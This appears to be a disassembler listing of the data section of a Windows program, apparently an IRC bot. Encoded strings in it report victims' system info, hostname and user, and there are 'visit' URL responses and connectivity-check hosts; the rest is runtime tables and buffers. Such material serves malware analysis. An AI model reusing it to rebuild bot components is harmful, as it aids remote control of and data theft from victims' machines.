aWww_switch_ch	db 'www.switch.ch',0    ; DATA XREF: sub_41A6AE+31o
		align 10h
aWww_1und1_de	db 'www.1und1.de',0     ; DATA XREF: sub_41A6AE+2Ao
		align 10h
aVerio_fr	db 'verio.fr',0         ; DATA XREF: sub_41A6AE+23o
		align 4
aWww_utwente_nl	db 'www.utwente.nl',0   ; DATA XREF: sub_41A6AE+1Co
		align 4
aWww_schlund_ne	db 'www.schlund.net',0  ; DATA XREF: sub_41A6AE+15o
aDdDhDm		db '%dd %dh %dm',0      ; DATA XREF: sub_41A88B+52o
dword_43A068	dd 234032Dh, 69737973h,	26F666Eh, 2202D03h, 2555043h, 4925203Ah
					; DATA XREF: sub_41AA42+297o
		dd 4D753436h, 202E7A48h, 4D415202h, 25203A02h, 20424B73h
		dd 61746F74h, 25202C6Ch, 20424B73h, 65657266h, 4402202Eh
		dd 26B7369h, 7325203Ah,	746F7420h, 202C6C61h, 66207325h
		dd 2E656572h, 534F0220h, 57203A02h, 6F646E69h, 25207377h
		dd 25282073h, 64252E64h, 7542202Ch, 20646C69h, 2E296425h
		dd 79530220h, 72696473h, 25203A02h, 2202E73h, 74736F48h
		dd 656D616Eh, 25203A02h, 25282073h, 202E2973h, 72754302h
		dd 746E6572h, 65735520h, 203A0272h, 202E7325h, 74614402h
		dd 203A0265h, 202E7325h, 6D695402h, 203A0265h, 202E7325h
		dd 74705502h, 2656D69h,	7325203Ah, 2Eh
dword_43A144	dd 4D3A6464h, 793A4D4Dh, 797979h ; DATA	XREF: sub_41AA42+192o
aCouldnTResolve	db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_41AA42:loc_41ABA6o
		align 4
aSS_1		db '%s (%s)',0          ; DATA XREF: sub_41AA42+EBo
a2003		db '2003',0             ; DATA XREF: sub_41AA42+BAo
		align 4
dword_43A178	dd 234032Dh, 6974656Eh,	26F666Eh, 2202D03h, 65707954h
					; DATA XREF: sub_41ACF6+A4o
		dd 25203A02h, 25282073h, 202E2973h, 20504902h, 72646441h
		dd 2737365h, 7325203Ah,	4802202Eh, 6E74736Fh, 2656D61h
		dd 7325203Ah, 2Eh
off_43A1BC	dd offset word_412F4E	; DATA XREF: sub_41ACF6:loc_41AD62o
off_43A1C0	dd offset dword_4E414C	; DATA XREF: sub_41ACF6:loc_41AD58o
dword_43A1C4	dd 6C616944h, 70752Dh	; DATA XREF: sub_41ACF6+5Bo
dword_43A1CC	dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h	; DATA XREF: sub_41ACF6+48o
unk_43A1DC	db  2Dh	; -		; DATA XREF: sub_41ADB5:loc_41AF6Eo
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToConnec	db ' Failed to connect to HTTP server.',0
		align 4
unk_43A20C	db  2Dh	; -		; DATA XREF: sub_41ADB5:loc_41AF67o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aCouldNotOpenAC	db ' Could not open a connection.',0
		align 4
dword_43A238	dd 234032Dh, 69736976h,	2D030274h, 766E4920h, 64696C61h
					; DATA XREF: sub_41ADB5+1A0o
		dd 4C525520h, 2Eh
unk_43A254	db  2Dh	; -		; DATA XREF: sub_41ADB5:loc_41AF48o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToGetReq	db ' Failed to get requested URL from HTTP server.',0
		align 10h
dword_43A290	dd 234032Dh, 69736976h,	2D030274h, 4C525520h, 73697620h
					; DATA XREF: sub_41ADB5+18Co
		dd 64657469h, 2Eh
dword_43A2AC	dd 2A2F2Ah		; DATA XREF: sub_41ADB5+3Bo
dword_43A2B0	dd 6B1A2554h		; DATA XREF: sub_41B8D8+4w sub_41B8E2r ...
		align 10h
dword_43A2C0	dd 173Fh		; DATA XREF: sub_41C679+Dr
		dd 9875h, 9873h
off_43A2CC	dd offset sub_41C748	; DATA XREF: ___:0041B784r
		dd offset nullsub_2
		dd offset nullsub_2
dword_43A2D8	dd 1B3Fh		; DATA XREF: sub_41C7BF+Dr
dword_43A2DC	dd 19930520h, 4	dup(0)	; DATA XREF: sub_41CC41+2o
					; sub_41CC4A+2o
off_43A2F0	dd offset sub_41B7C2	; DATA XREF: sub_41DA29+1Cr
dword_43A2F4	dd 2			; DATA XREF: sub_423590+Er
					; sub_4235C9+46r ...
		dd 10h,	0
off_43A300	dd offset off_43A300	; DATA XREF: sub_41E976+Do
					; sub_41E976+69o ...
off_43A304	dd offset off_43A300	; DATA XREF: sub_41E976:loc_41E9F6r
					; sub_41E976+89w ...
		dd offset dword_43A318
		dd offset dword_43A318
dword_43A310	dd 0FFFFFFFFh		; DATA XREF: sub_41E976r
					; sub_41EABA:loc_41EB07w
		dd 0FFFFFFFFh
dword_43A318	dd 0F0h, 0F1h, 800h dup(0) ; DATA XREF:	___:0043A308o
					; ___:0043A30Co
off_43C320	dd offset off_43A300	; DATA XREF: sub_41EABA+15r
					; sub_41EABA+20w ...
dword_43C324	dd 1E0h			; DATA XREF: sub_41B202+185r
					; sub_41B513:loc_41B54Fr ...
off_43C328	dd offset word_43C332	; DATA XREF: sub_41B6EE+23r
					; sub_41B6EE:loc_41B74Fr ...
off_43C32C	dd offset word_43C332	; DATA XREF: sub_426BC1+18r
		db 2 dup(0)
word_43C332	dw 20h			; DATA XREF: sub_424D47+18r
					; ___:off_43C328o ...
		unicode	0, <	    (((((		   H>
		dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
		dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
		dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_43C534	dd 1			; DATA XREF: sub_41B6EE:loc_41B6F6r
					; sub_41B6EE:loc_41B73Ar ...
byte_43C538	db 2Eh			; DATA XREF: sub_420510:loc_420804r
					; sub_420510+311r ...
		align 4
		dd 1
off_43C540	dd offset aNull_0	; DATA XREF: sub_41F69F:loc_41FA03r
					; sub_41F69F+457r
					; "(null)"
off_43C544	dd offset aNull		; DATA XREF: sub_41F69F+259r
					; "(null)"
byte_43C548	db 1			; DATA XREF: sub_41FEA9+E1r
		db 2, 4, 8
		align 10h
dword_43C550	dd 3A4h			; DATA XREF: sub_41FEA9+2Fo
dword_43C554	dd 82798260h, 21h, 0	; DATA XREF: sub_41FEA9+11Dr
dword_43C560	dd 0DFA6h		; DATA XREF: sub_41FEA9+C0r
		align 8
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_43C640	dd 1			; DATA XREF: sub_41FEA9+3Co
					; sub_4203DF+Co
dword_43C644	dd 16h			; DATA XREF: sub_4203DF:loc_420414r
		dd 2 dup(2), 3,	2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
		dd 9, 0Ch, 0Ah,	7, 0Bh,	8, 0Ch,	16h, 0Dh, 16h, 0Fh, 2
		dd 10h,	0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h,	2, 41h
		dd 0Dh,	43h, 2,	50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
		dd 59h,	0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h,	9, 6, 16h
		dd 80h,	0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
		dd 29h,	9Eh, 0Dh, 0A1h,	2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
		dd 11h,	0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_43C7A8	dd 0D2D0920h, 5Dh	; DATA XREF: sub_4203DF+19o
					; sub_420510:loc_420A77o
dword_43C7B0	dd 5Dh,	0		; DATA XREF: sub_420510:loc_420967o
dword_43C7B8	dd 14h			; DATA XREF: sub_421624+2o
off_43C7BC	dd offset aExp		; DATA XREF: sub_421624:loc_421641r
					; "exp"
		dd 1Dh,	427878h, 1Ah, 42C2A0h, 1Bh, 427870h, 1Fh, 427868h
		dd 13h,	427860h, 21h, 427858h, 0Eh, 427850h, 0Dh, 427848h
		dd 0Fh,	427840h, 10h, 427838h, 5, 427830h, 1Eh,	42782Ch
		dd 12h,	427828h, 20h, 427824h, 0Ch, 42781Ch, 0Bh, 427814h
		dd 15h,	42780Ch, 1Ch, 427804h, 19h, 4277FCh, 11h, 4277F4h
		dd 18h,	4277ECh, 16h, 4277E4h, 17h, 4277DCh, 22h, 4277D8h
		dd 23h,	4277D4h, 24h, 4277D0h
dbl_43C890	dq 1.797693134862316e308 ; DATA	XREF: sub_42135F+B7r
					; sub_42135F:loc_421446r ...
		dd 0
		dd 0FFF80000h
dbl_43C8A0	dq 1.797693134862316e308 ; DATA	XREF: sub_42135F+92r
					; sub_42135F:loc_42141Er ...
		dd 0
		dd 100000h, 0
		dd 80000000h
tbyte_43C8B8	dt 2.3562723457267347066e313 ; DATA XREF: sub_42180C+Dr
					; sub_42180C+1Fr
		align 4
tbyte_43C8C4	dt 1.9149954921904370718e-1233 ; DATA XREF: sub_42180C+31r
		align 10h
off_43C8D0	dd offset sub_421CA0	; DATA XREF: sub_41C760+Fw
					; sub_41F69F+3AAr
off_43C8D4	dd offset sub_421935	; DATA XREF: sub_41C760+5w
					; sub_41F69F+3E2r
off_43C8D8	dd offset sub_42199B	; DATA XREF: sub_41C760+14w
					; sub_420510+430r
off_43C8DC	dd offset sub_4218DB	; DATA XREF: sub_41C760+1Ew
					; sub_41F69F+3CBr
off_43C8E0	dd offset sub_421983	; DATA XREF: sub_41C760+28w
off_43C8E4	dd offset sub_421CA0	; DATA XREF: sub_41C760+32w
		dd offset sub_42470C
		align 10h
		dd offset sub_42255C
off_43C8F4	dd offset sub_42255C	; DATA XREF: sub_4225B2+29r
dword_43C8F8	dd 0C0000005h		; DATA XREF: sub_422E2F+Ar
					; sub_422E2F+11o ...
dword_43C8FC	dd 0Bh			; DATA XREF: sub_425A82+Ar
		dd 0
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		db 8Dh,	0
		dw 0C000h
		dd 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		db 90h
		db 2 dup(0), 0C0h
		dd 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_43C970	dd 3			; DATA XREF: ___:00422D46r
					; sub_425955+C8r
dword_43C974	dd 7			; DATA XREF: ___:00422D4Cr
					; sub_425955+CDr
dword_43C978	dd 0Ah			; DATA XREF: sub_422E2F+4r
					; sub_425A82+4r
dword_43C97C	dd 8Ch			; DATA XREF: ___:00422D70r
					; ___:00422D7Dw ...
dword_43C980	dd 0FFFFFFFFh, 0A00h	; DATA XREF: sub_41F043:loc_41F0C4o
					; sub_41F58A:loc_41F647o
dword_43C988	dd 2			; DATA XREF: sub_4235C9+Eo
					; sub_4235C9+28r
off_43C98C	dd offset aR6002FloatingP ; DATA XREF: sub_4235C9+FCr
					; sub_4235C9+12Dr
					; "R6002\r\n- floating point not loaded\r\n"
		dd 8, 427B94h, 9, 427B68h, 0Ah,	427B44h, 10h, 427B18h
		dd 11h,	427AE8h, 12h, 427AC4h, 13h, 427A98h, 18h, 427A60h
		dd 19h,	427A38h, 1Ah, 427A00h, 1Bh, 4279C8h, 1Ch, 4279A0h
		dd 78h,	427990h, 79h, 427980h, 7Ah, 427970h, 0FCh, 433854h
		dd 0FFh, 427960h
off_43CA18	dd offset dword_4DB5E0	; DATA XREF: sub_4235C9+1Bo
					; sub_423936+55o
		align 10h
		dd offset dword_4DB5E0
		dd 101h
dword_43CA28	dd 0FFFFFFFFh, 0	; DATA XREF: sub_423936+72o
		dd 1000h, 0
dword_43CA38	dd 3 dup(0)		; DATA XREF: sub_41F58A+50o
					; sub_420446+12o
		dd 2, 0FFFFFFFFh, 3 dup(0)
dword_43CA58	dd 3 dup(0)		; DATA XREF: sub_41F58A+58o
					; sub_420446:loc_420464o
		dd 2, 0FFFFFFFFh, 7 dup(0)
dword_43CA88	dd 84h dup(0)		; DATA XREF: sub_423936+9Bo
dword_43CC98	dd 2 dup(0)		; DATA XREF: sub_423936+69o
dword_43CCA0	dd 2694h		; DATA XREF: sub_420FC1+3r
					; sub_421014+46r
		align 8
dword_43CCA8	dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA	XREF: sub_4244ECo
dword_43CCC0	dd 80h,	0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_424502o
dword_43CCD8	dd 7080h		; DATA XREF: sub_422669+76r
					; sub_4247EC+5Ew ...
dword_43CCDC	dd 1			; DATA XREF: sub_422669+98r
					; sub_4247EC+8Bw ...
dword_43CCE0	dd 0FFFFF1F0h		; DATA XREF: sub_422669:loc_42271Br
					; sub_4247EC+94w ...
off_43CCE4	dd offset dword_545350	; DATA XREF: ___:off_43CD64o
		dd 0Fh dup(0)
off_43CD24	dd offset dword_544450	; DATA XREF: ___:off_43CD68o
		dd 0Fh dup(0)
off_43CD64	dd offset off_43CCE4	; DATA XREF: sub_4247EC+BAr
					; sub_4247EC+D9r ...
off_43CD68	dd offset off_43CD24	; DATA XREF: sub_4247EC+F4r
					; sub_4247EC+11Br ...
		align 10h
dword_43CD70	dd 0FFFFFFFFh		; DATA XREF: sub_4247EC+1Dw
					; sub_424A4A+1Er ...
dword_43CD74	dd 0			; DATA XREF: sub_424A4A:loc_424B7Er
					; sub_424BF6+BFw
dword_43CD78	dd 0			; DATA XREF: sub_424A4A+192r
					; sub_424BF6+E0w
		align 10h
dword_43CD80	dd 0FFFFFFFFh		; DATA XREF: sub_4247EC+17w
					; sub_424A4A+26r ...
dword_43CD84	dd 0			; DATA XREF: sub_424A4A+13Ar
					; sub_424BF6+EAw ...
dword_43CD88	dd 0			; DATA XREF: sub_424A4A+1A1r
					; sub_424BF6+23r ...
dword_43CD8C	dd 0FFFFFFFFh		; DATA XREF: sub_424BF6+84r
		dd 1Eh,	3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h,	0F3h, 111h, 130h
		dd 14Eh
dword_43CDBC	dd 16Dh			; DATA XREF: sub_422669+2Ar
					; sub_424BF6+2Er ...
dword_43CDC0	dd 0FFFFFFFFh		; DATA XREF: sub_424BF6:loc_424C82r
		dd 1Eh,	3Ah, 59h, 77h, 96h, 0B4h, 0D3h,	0F2h, 110h, 12Fh
		dd 14Dh, 16Ch, 0
dword_43CDF8	dd 2 dup(0)		; DATA XREF: sub_425DDA+7o
		dd 4002A000h, 2	dup(0)
		dd 4005C800h, 2	dup(0)
		dd 4008FA00h, 2	dup(0)
		dd 400C9C40h, 2	dup(0)
; ---------------------------------------------------------------------------
		push	eax
		retn
; ---------------------------------------------------------------------------
		dw 400Fh
		dd 2 dup(0)
		dd 4012F424h, 0
		dd 80000000h, 40169896h, 0
		dd 20000000h, 4019BEBCh, 0
		dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
		dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
		dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
		dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh,	40D3C278h
		dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
		dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
		dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
		dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h,	0A0AEA60Eh
		dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
		dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
		dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h,	5D25D88Bh
		dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
		dd 52028A20h, 7525C460h, 0
dword_43CF58	dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
					; DATA XREF: sub_425DDA+1Bo
		dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h,	652CD3C3h
		dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h,	3FEEA7C5h
		dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h,	94D5E57Ah
		dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh,	0E15B4C2Fh
		dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
		dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h,	313BBABCh
		dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h,	8D2FEED7h
		dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
		dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
		dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
		dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh,	3B03A686h
		dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h,	0EE32DB23h
		dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h,	11B268E2h
		dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
		dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh,	0BF3C9157h
		dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h,	9FDE2DE4h
		dd 4C8D2CEh, 0AD8A6DDh
off_43D0B4	dd offset off_427D68	; DATA XREF: ___:00427F44o
					; ___:00428030o
		dd 0
a_?avexception@	db '.?AVexception@@',0
off_43D0CC	dd offset off_427D68	; DATA XREF: ___:off_427DF8o
					; ___:00427E38o ...
		dd 0
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 4
off_43D0EC	dd offset off_427D68	; DATA XREF: ___:off_427E40o
					; ___:00427E84o ...
		dd 0
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 4
off_43D10C	dd offset off_427D68	; DATA XREF: ___:off_427E8Co
					; ___:00427ED0o ...
		dd 0
a_?avlength_err	db '.?AVlength_error@std@@',0
		align 10h
off_43D130	dd offset off_427D68	; DATA XREF: ___:off_427ED8o
					; ___:00427F14o
		align 8
a_?avtype_info@	db '.?AVtype_info@@',0
		dd offset sub_42470C
		align 10h
dword_43D150	dd 2 dup(0)		; DATA XREF: sub_40111D+C8o
dword_43D158	dd 2 dup(0)		; DATA XREF: sub_40111D+62o
					; ___:0040146Eo ...
dword_43D160	dd 0			; DATA XREF: ___:004015B0o
					; sub_401ACD+B07o ...
		dd 5 dup(0)
dword_43D178	dd 0			; DATA XREF: sub_401ACD+B63r
					; sub_4150B4+60r
		dd 2D9h	dup(0)
dword_43DCE0	dd 0			; DATA XREF: sub_401ACD+5E62r
					; sub_401ACD+5F3Fr ...
		dd 7Fh dup(0)
dword_43DEE0	dd 0			; DATA XREF: sub_40B0F6+41w
					; sub_40B231+40w ...
dword_43DEE4	dd 0			; DATA XREF: sub_40B0F6+47w
					; sub_40B231+46w ...
dword_43DEE8	dd 0			; DATA XREF: sub_40B0F6+52w
					; sub_40B231+3Ar ...
dword_43DEEC	dd 0			; DATA XREF: sub_40111D+Cr
					; sub_4017ED+B9w ...
dword_43DEF0	dd 0			; DATA XREF: sub_40B231+75r
					; sub_40B412+2Aw ...
dword_43DEF4	dd 0			; DATA XREF: ___:004015FFw
					; ___:00401677w ...
byte_43DEF8	db 0			; DATA XREF: sub_4017ED+91o
					; sub_401ACD+5DA7r ...
		align 4
		dd 1E15h dup(0)
dword_445750	dd 2A3Fh dup(0)		; DATA XREF: ___:00433794o
		db 0
byte_45004D	db 3 dup(0)		; DATA XREF: ___:00437A80o
		dd 1CFCh dup(0)
		db 0
byte_457441	db 3 dup(0)		; DATA XREF: ___:off_4384F0o
dword_457444	dd 17780h dup(0)
		db 0
byte_4B5245	db 3 dup(0)		; DATA XREF: ___:off_43835Co
		dd 56A6h dup(0)
dword_4CACE0	dd 0			; DATA XREF: sub_40111D+FDw
					; sub_40B0F6+13o ...
dword_4CACE4	dd 0			; DATA XREF: ___:0040125Ew
					; sub_401ACD:loc_4044D7r ...
dword_4CACE8	dd 0			; DATA XREF: ___:loc_4016FFo
dword_4CACEC	dd 20h dup(0)		; DATA XREF: ___:004016B6o
					; ___:00401750o ...
dword_4CAD6C	dd 10h dup(0)		; DATA XREF: ___:004016CCo
dword_4CADAC	dd 24h dup(0)		; DATA XREF: ___:004016E3o
dword_4CAE3C	dd 0			; DATA XREF: ___:004016D7w
					; ___:00401767w ...
dword_4CAE40	dd 0			; DATA XREF: ___:004016F6w
		align 10h
byte_4CAE50	db 0			; DATA XREF: sub_401955+28r
					; sub_401955+30o
		align 4
dword_4CAE54	dd 0			; DATA XREF: ___:00401704w
					; ___:0040171Br ...
dword_4CAE58	dd 0			; DATA XREF: ___:004016BBw
					; sub_401ACD+8BEr
dword_4CAE5C	dd 0			; DATA XREF: sub_401ACD+7DBFo
					; sub_40C9A4+13o ...
dword_4CAE60	dd 0			; DATA XREF: sub_409B12+4A7w
					; sub_409B12+4EBr ...
dword_4CAE64	dd 0			; DATA XREF: sub_409B12+65w
					; sub_4196BC+166r
dword_4CAE68	dd 0			; DATA XREF: sub_409B12+80Bw
					; sub_409B12+880r ...
dword_4CAE6C	dd 0			; DATA XREF: sub_409B12+9D8w
					; sub_409B12+A43r ...
dword_4CAE70	dd 0			; DATA XREF: sub_409B12+98Aw
					; sub_409B12+A13r ...
dword_4CAE74	dd 0			; DATA XREF: sub_409B12+48Dw
					; sub_409B12+4DBr ...
dword_4CAE78	dd 0			; DATA XREF: sub_409B12+213w
					; sub_409B12+234r
dword_4CAE7C	dd 0			; DATA XREF: sub_409B12+9CBw
					; sub_409B12+A3Br ...
dword_4CAE80	dd 0			; DATA XREF: sub_409B12+372w
					; sub_409B12+3C7r ...
dword_4CAE84	dd 0			; DATA XREF: sub_409B12+40Fw
					; sub_41AA42+11Er
dword_4CAE88	dd 0			; DATA XREF: sub_409B12+37Fw
					; sub_409B12+3CFr ...
dword_4CAE8C	dd 0			; DATA XREF: sub_409B12+3C0w
					; sub_418C8E+ADr
dword_4CAE90	dd 0			; DATA XREF: sub_409B12+55Aw
					; sub_40F0D5+115r ...
dword_4CAE94	dd 0			; DATA XREF: sub_409B12+72w
					; sub_409B12+D2r ...
dword_4CAE98	dd 0			; DATA XREF: sub_409B12+97Dw
					; sub_409B12+A06r ...
dword_4CAE9C	dd 0			; DATA XREF: sub_409B12+3A6w
					; sub_409B12+3E7r ...
dword_4CAEA0	dd 0			; DATA XREF: sub_409B12+859w
					; sub_409B12+8ACr ...
dword_4CAEA4	dd 0			; DATA XREF: sub_409B12+2A5w
					; sub_409B12+2F0r ...
dword_4CAEA8	dd 0			; DATA XREF: sub_409B12+84Cw
					; sub_409B12+8A4r ...
dword_4CAEAC	dd 0			; DATA XREF: sub_409B12+B3w
dword_4CAEB0	dd 0			; DATA XREF: sub_409B12+866w
					; sub_409B12+8B4r ...
dword_4CAEB4	dd 0			; DATA XREF: sub_409B12+54Dw
					; sub_409B12+6D0r ...
dword_4CAEB8	dd 0			; DATA XREF: sub_409B12+58w
					; sub_409B12+CAr ...
dword_4CAEBC	dd 0			; DATA XREF: sub_409B12+934w
dword_4CAEC0	dd 0			; DATA XREF: sub_401ACD:loc_403F25r
					; sub_409B12+A95w ...
dword_4CAEC4	dd 0			; DATA XREF: sub_409B12+A6w
					; sub_409B12+F2r
dword_4CAEC8	dd 0			; DATA XREF: sub_409B12+480w
					; sub_409B12+4D3r ...
dword_4CAECC	dd 0			; DATA XREF: sub_409B12+5F6w
					; sub_40BFA3+20r
dword_4CAED0	dd 0			; DATA XREF: sub_409B12+9BEw
					; sub_409B12+A33r
dword_4CAED4	dd 0			; DATA XREF: sub_409B12+5E9w
					; sub_409B12+754r ...
dword_4CAED8	dd 0			; DATA XREF: sub_409B12+A0Cw
dword_4CAEDC	dd 0			; DATA XREF: sub_409B12+B50w
dword_4CAEE0	dd 0			; DATA XREF: sub_409B12+7FEw
					; sub_409B12+86Dr ...
dword_4CAEE4	dd 0			; DATA XREF: sub_409B12+1B3w
					; sub_40B2F1+3Do ...
dword_4CAEE8	dd 0			; DATA XREF: sub_409B12+997w
					; sub_409B12+A1Br ...
dword_4CAEEC	dd 0			; DATA XREF: sub_409B12+38Cw
					; sub_409B12+3D7r ...
dword_4CAEF0	dd 0			; DATA XREF: sub_409B12+399w
					; sub_409B12+3DFr ...
dword_4CAEF4	dd 0			; DATA XREF: sub_409B12+C85w
					; sub_409B12+C8Cr ...
dword_4CAEF8	dd 0			; DATA XREF: sub_409B12+6ACw
					; ___:0041088Fr
dword_4CAEFC	dd 0			; DATA XREF: sub_40111D+1Dr
					; sub_40111D+23r ...
dword_4CAF00	dd 0			; DATA XREF: sub_409B12+4B4w
					; sub_4153BC+207r
dword_4CAF04	dd 0			; DATA XREF: sub_409B12+9E5w
					; sub_409B12+A4Br ...
dword_4CAF08	dd 0			; DATA XREF: sub_401000+51r
					; sub_409B12+2B2w ...
dword_4CAF0C	dd 0			; DATA XREF: sub_409B12+7Fw
					; sub_409B12+DAr ...
dword_4CAF10	dd 0			; DATA XREF: sub_401ACD+5911r
					; sub_401ACD+79CEr ...
dword_4CAF14	dd 0			; DATA XREF: ___:004012ADr
					; sub_401ACD+5117r ...
dword_4CAF18	dd 0			; DATA XREF: sub_409B12+825w
					; sub_409B12+890r ...
dword_4CAF1C	dd 0			; DATA XREF: sub_409B12+9A4w
					; sub_409B12+A23r
dword_4CAF20	dd 0			; DATA XREF: sub_409B12+C0Ew
					; sub_409B12+C3Fr
dword_4CAF24	dd 0			; DATA XREF: sub_409B12+2CCw
					; sub_4184E1+47r
dword_4CAF28	dd 0			; DATA XREF: sub_409B12+22Dw
dword_4CAF2C	dd 0			; DATA XREF: sub_409B12+91Aw
					; sub_409B12+92Er
dword_4CAF30	dd 0			; DATA XREF: sub_409B12+C28w
dword_4CAF34	dd 0			; DATA XREF: sub_409B12+2D9w
					; sub_4184E1+4Fr
dword_4CAF38	dd 0			; DATA XREF: sub_409B12+574w
					; sub_409B12+6E8r ...
dword_4CAF3C	dd 0			; DATA XREF: sub_409B12+83Fw
					; sub_409B12+873r
dword_4CAF40	dd 0			; DATA XREF: sub_409B12+220w
					; sub_409B12+23Cr
dword_4CAF44	dd 0			; DATA XREF: sub_409B12+172w
					; sub_409B12+1C2r ...
dword_4CAF48	dd 0			; DATA XREF: sub_401ACD+1E30r
					; sub_401ACD+5AC7r ...
dword_4CAF4C	dd 0			; DATA XREF: sub_4017ED+C4r
					; sub_401ACD+51A1r ...
dword_4CAF50	dd 0			; DATA XREF: sub_409B12+567w
					; sub_409B12+6DCr ...
dword_4CAF54	dd 0			; DATA XREF: sub_409B12+8DBw
					; sub_409B12:loc_40A40Bw ...
dword_4CAF58	dd 0			; DATA XREF: sub_401000+26r
					; sub_409B12+28Bw ...
dword_4CAF5C	dd 0			; DATA XREF: sub_401ACD+7959r
					; sub_409B12+69Fw ...
dword_4CAF60	dd 0			; DATA XREF: sub_409B12+32Dw
					; sub_409B12+341r ...
dword_4CAF64	dd 0			; DATA XREF: sub_409B12+3B3w
					; sub_409B12+3EFr ...
dword_4CAF68	dd 0			; DATA XREF: sub_409B12+C01w
					; sub_409B12+C37r
dword_4CAF6C	dd 0			; DATA XREF: sub_409B12+818w
					; sub_409B12+888r ...
dword_4CAF70	dd 0			; DATA XREF: sub_409B12+206w
					; sub_409B12+227r
dword_4CAF74	dd 0			; DATA XREF: sub_409B12+18Cw
					; sub_409B12+1D2r ...
dword_4CAF78	dd 0			; DATA XREF: sub_409B12+832w
					; sub_409B12+898r ...
dword_4CAF7C	dd 0			; DATA XREF: sub_409B12+624w
					; sub_409B12+774r
dword_4CAF80	dd 0			; DATA XREF: sub_401000+5Ar
					; sub_409B12+2BFw ...
dword_4CAF84	dd 0			; DATA XREF: sub_409B12+66Bw
					; sub_409B12+79Cr ...
dword_4CAF88	dd 0			; DATA XREF: sub_409B12+320w
					; sub_409B12+334r ...
dword_4CAF8C	dd 0			; DATA XREF: sub_409B12+644w
					; sub_409B12+784r ...
dword_4CAF90	dd 0			; DATA XREF: sub_409B12+44Cw
					; sub_409B12+4AEr ...
dword_4CAF94	dd 0			; DATA XREF: sub_409B12+199w
					; sub_409B12+1DAr ...
dword_4CAF98	dd 0			; DATA XREF: sub_409B12+365w
					; sub_409B12+3BAr ...
dword_4CAF9C	dd 0			; DATA XREF: sub_409B12+AA2w
dword_4CAFA0	dd 0			; DATA XREF: sub_409B12+5DCw
					; sub_409B12+748r ...
